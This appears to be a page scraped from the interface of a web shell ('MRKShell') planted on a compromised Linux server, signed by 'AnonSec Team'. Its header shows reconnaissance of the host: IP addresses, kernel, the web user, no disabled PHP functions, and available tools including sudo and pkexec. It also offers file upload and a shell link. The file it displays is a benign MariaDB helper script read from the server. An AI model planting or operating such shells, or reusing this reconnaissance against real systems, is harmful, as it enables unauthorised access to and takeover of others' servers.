MR K IS HERE

MRKShell

Server IP : 172.67.193.120 / Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /usr/libexec/

Upload File :

[ HOME SHELL ]

Current File : /usr/libexec/mysql-scripts-common

#!/bin/sh

# Some useful functions used in other MySQL helper scripts
# This scripts defines variables datadir, errlogfile, socketfile

export LC_ALL=C

# extract value of a MySQL option from config files
# Usage: get_mysql_option VARNAME DEFAULT SECTION [ SECTION, ... ]
# result is returned in $result
# We use my_print_defaults which prints all options from multiple files,
# with the more specific ones later; hence take the last match.
get_mysql_option(){
	if [ $# -ne 3 ] ; then
		echo "get_mysql_option requires 3 arguments: section option default_value"
		return
	fi
	sections="$1"
	option_name="$2"
	default_value="$3"
	result=`/usr/bin/my_print_defaults $my_print_defaults_extra_args $sections | sed -n "s/^--${option_name}=//p" | tail -n 1`
	if [ -z "$result" ]; then
	    # not found, use default
	    result="${default_value}"
	fi
}

# For the case of running more instances via systemd, scrits that source
# this file can get --default-group-suffix or similar option as the first
# argument. The utility my_print_defaults needs to use it as well, so the
# scripts sourcing this file work with the same options as the daemon.
my_print_defaults_extra_args=''
while echo "$1" | grep -q '^--defaults' ; do
	my_print_defaults_extra_args="${my_print_defaults_extra_args} $1"
	shift
done

# Defaults here had better match what mysqld_safe will default to
# The option values are generally defined on three important places
# on the default installation:
#  1) default values are hardcoded in the code of mysqld daemon or
#     mysqld_safe script
#  2) configurable values are defined in /etc/my.cnf
#  3) default values for helper scripts are specified bellow
# So, in case values are defined in my.cnf, we need to get that value.
# In case they are not defined in my.cnf, we need to get the same value
# in the daemon, as in the helper scripts. Thus, default values here
# must correspond with values defined in mysqld_safe script and source
# code itself.

server_sections="mysqld_safe mysqld server mysqld-10.3 mariadb mariadb-10.3 client-server"

get_mysql_option "$server_sections" datadir "/var/lib/mysql"
datadir="$result"

# if there is log_error in the my.cnf, my_print_defaults still
# returns log-error
# log-error might be defined in mysqld_safe and mysqld sections,
# the former has bigger priority
get_mysql_option "$server_sections" log-error "$datadir/`uname -n`.err"
errlogfile="$result"

get_mysql_option "$server_sections" socket "/var/lib/mysql/mysql.sock"
socketfile="$result"

get_mysql_option "$server_sections" pid-file "$datadir/`uname -n`.pid"
pidfile="$result"

Anon7 - 2022
AnonSec Team